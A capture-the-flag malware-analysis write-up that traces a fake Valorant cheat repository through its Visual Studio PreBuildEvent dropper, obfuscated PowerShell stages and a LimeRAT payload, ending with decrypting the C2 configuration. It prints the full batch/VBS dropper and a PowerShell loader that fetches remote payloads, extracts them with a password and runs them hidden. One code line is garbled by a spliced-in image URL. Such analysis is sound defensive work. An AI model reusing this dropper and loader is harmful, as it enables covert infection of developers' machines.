Flash CTF – Whisper Of The Pain

Solution

We are given the following file:

  • 2025-01-17T040003_Evidence.zip: contains files from the victim machine for analysis

Based on the challenge description, we can infer that this campaign exploits the victims’ carelessness when using cheat tools. As a result, the victims are those who willingly download and execute the malicious code. From this point, our focus will be on analyzing the user’s web browsing history first.

Brave is the most commonly used browser in this case, and its browsing history can be found at:

2025-01-17T040003_Evidence.zip\C\Users\IEUser\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\History

alt text
alt text

From this, we can identify a link to a malicious GitHub repository that the user downloaded:

https://github.com/hannah1337/CyberValorant-Cheat-Visual-Aimbot-ESP

The method used to exploit Visual Studio is the PreBuildEvent, which allows the execution of arbitrary commands before the project compilation process.

alt text
@echo off
setlocal
set "a=%25TEMP%25\a"
mkdir "%25a%25" 2>nul
echo b = "JFIgPSAiP....mc0Mm" > "%25a%25\b.vbs"
echo c = "VdvQUNka0FD....TiAkYm5i" >> "%25a%25\b.vbs"
echo d = "JwUjNZdVZu....VNibFIzYzVOM" >> "%25a%25\b.vbs"
echo e = b ^& d ^& c >> "%25a%25\b.vbs"
echo Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") >> "%25a%25\b.vbs"
echo f.DataType = "bin.base64" >> "%25a%25\b.vbs"
echo f.Text = e >> "%25a%25\b.vbs"
echo g = f.NodeTypedValue >> "%25a%25\b.vbs"
echo h = "%25a%25\i.ps1" >> "%25a%25\b.vbs"
echo Set j = CreateObject("Scripting.FileSystemObject") >> "%25a%25\b.vbs"
echo Set k = j.CreateTextFile(h, True) >> "%25a%25\b.vbs"
echo k.Write l(g) >> "%25a%25\b.vbs"
echo k.Close >> "%25a%25\b.vbs"
echo Set m = CreateObject("WScript.Shell") >> "%25a%25\b.vbs"
echo m.Run "powershell.exe -ExecutionPolicy Bypass -File " ^& h, 0, False >> "%25a%25\b.vbs"
echo Function l(n) >> "%25a%25\b.vbs"
echo Dim o, p >> "%25a%25\b.vbs"
echo Set o = CreateObject("ADODB.Recordset") >> "%25a%25\b.vbs"
echo p = LenB(n) >> "%25a%25\b.vbs"
echo If p ^> 0 Then >> "%25a%25\b.vbs"
echo o.Fields.Append "q", 201, p >> "%25a%25\b.vbs"
echo o.Open >> "%25a%25\b.vbs"
echo o.AddNew >> "%25a%25\b.vbs"
echo o("q").AppendChunk n >> "%25a%25\b.vbs"
echo o.Update >> "%25a%25\b.vbs"
echo l = o("q").GetChunk(p) >> "%25a%25\b.vbs"
echo Else >> "%25a%25\b.vbs"
echo l = "" >> "%25a%25\b.vbs"
echo End If >> "%25a%25\b.vbs"
echo End Function >> "%25a%25\b.vbs"
cscript //nologo "%25a%25\b.vbs"
endlocal

The strings are concatenated and then decoded from Base64, after which they are executed using PowerShell

After decoding, we got the powershell script:

$R = "=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"; $txt = $R.ToCharArray(); [array]::Reverse($txt); $bnb = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(-join $txt)); $exp = "Invoke-Expression"; New-Alias -Name pWN -Value $exp -Force; pWN $bnb

They are further decoded through an additional layer:

function rl { try { p "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCkHjCjcKowpbClcK1wpI=" } catch { x } } function x { try { p "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCnH7Cu8KlfcKewrDCqw==" } catch { l } } function l { try { p "wo7CucOmwqzCuMKWaMKUw57CqsKzwrhzwonCtMOfa8K5wqZwwq7DonN3woPCu2d0w6TCncK8" } catch { o } } function o { try { p "wo7CucOmwqzCuMKWaMKUw57Co8K4wr/Ct8Kfc8OVwqt0w5ZswpvCnsK2wrXCg8KrVcK3w5PCsw==
" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "&Er<E\9el>J`KE"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char](https://metactf.com/wp-content/uploads/2025/01/93ce71902089a6a476101e85be90656a_$c - $p) }; return -join $d } catch { throw } }; $proc = "```$b#{o*%3I,};',W```"n~O@0"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "NTAgNTAgNTUgNTEgNTIgNTMgNTQgNTEgNTUgNTAgNTEgNTEgNTUgNTIgNTAgMTAwIDU1IDQ4IDUyIDQ4IDU1IDUxIDU1IDUxIDU1IDU1IDUxIDQ4IDU1IDUwIDU0IDUyIDUwIDUw"; $p = v -i $s; $z = "C:\ProgramData\seventzip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\seventzip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl

First, the base64 strings will be decoded using the function d with the key $prooc. Simply following this process will reveal links to various online text storage sites.

alt text

Due to being discovered, these links have all been removed or hidden.

alt text

However, one of the pastes was only edited because the website didn’t have an option to delete. Furthermore, it allows viewing the edit history. From this, we can see the original content of the paste at the time the victim downloaded and executed it.

alt text

The content of the paste at the time the victim executed it is: w4jCmMOWwpPDrsKpWVTCmsKywqDDpcKwwolawrrDj8KPwp3DpsKwwqPCm8OEwoXDj8KIw6/DkMKgworCpcK8wpHCrMKfwozCmMK/w4lPw5vDo8ODwrLCn8KPwpbDh8KPw6DDkMKdworCpnjCkMOswrLClcKYw4bDgcKGwp3Dq8K0wrTCosOPU8K2d8K/w4HCj8KVwp/CqsKlwqtywqE=

This string will then be further decoded using the function d, but with a different key, $proc

alt text

A malicious file stored on another GitHub repository will be downloaded and then extracted using a password. The password is stored in the variable $s, which contains the following Base64-encoded string:

NTAgNTAgNTUgNTEgNTIgNTMgNTQgNTEgNTUgNTAgNTEgNTEgNTUgNTIgNTAgMTAwIDU1IDQ4IDUyIDQ4IDU1IDUxIDU1IDUxIDU1IDU1IDUxIDQ4IDU1IDUwIDU0IDUyIDUwIDUw

Once decoded, this will reveal the password for extracting the file.

alt text

=> Password: 227345637233742d704073737730726422

After extraction, the file SearchFilter.exe from the archive is executed using the following PowerShell command:

Start-Process -FilePath $exF -WindowStyle Hidden

This is the malware responsible for controlling the victim’s computer.

alt text

Since the sample is written in .NET, we can open it using DnSpy for analysis.

alt text

Upon inspection, we find that the code has been obfuscated and is unreadable: the names of classes, methods, and variables are generated from random characters.

After examining the classes of the malware, we found something resembling a class with its configuration:

alt text

We noticed that this class contains a field that appears to be a string encoded using the Base64 algorithm.

alt text

I attempted to decode this string using CyberChef but was unsuccessful. It is likely that the string is not just encoded, but also encrypted.

By checking the functions, we found the part of the code related to the string above.

alt text

There is some interesting code where the string is used with the WebClient.DownloadString method to download a string from a remote resource.

Additionally, we observed the use of instances of the RijndaelManaged and MD5CryptoServiceProvider classes.

alt text

This suggests that this function is likely responsible for decrypting the string mentioned earlier.

Analyze the operation of the decryption algorithm in more detail

  1. RijndaelManaged and MD5CryptoServiceProvider are instantiated. RijndaelManaged is essentially an outdated implementation of the AES encryption algorithm. The MD5CryptoServiceProvider class is used to compute the MD5 hash function.
  2. A 32-byte array is created and initialized with zeros. This array will be used to store the AES key.
  3. To generate the key, the MD5 hash of another string from the configuration class (in this case, the string ${8',`d0}n,~@J;oZ"9a) is first calculated. alt text
  4. Next, the first 15 bytes and then the 16 bytes of the computed hash are copied into the previously created array. The last element of the array remains 0.
  5. The generated key is then set as the key property of the RijndaelManaged instance. The Mode property is set to CipherMode.ECB.
  6. Finally, the original string is decoded using the Base64 algorithm and encrypted using the AES256-ECB algorithm.

Decryption

The MD5 of the string ${8',`d0}n,~@J;oZ"9a is f3758b11f3304f884564a6fb1548e5d2 => The key is: “f3758b11f3304f884564a6fb1548e5” + “f3758b11f3304f884564a6fb1548e5d2” + 0

== f3758b11f3304f884564a6fb1548e5f3758b11f3304f884564a6fb1548e5d20

Use CyberChef to decrypt:

alt text

We got the flag with Command and Control (C2) server IP.

alt text

The malware we just analyzed is LimeRAT, and this is how LimeRAT stores the C2 IP.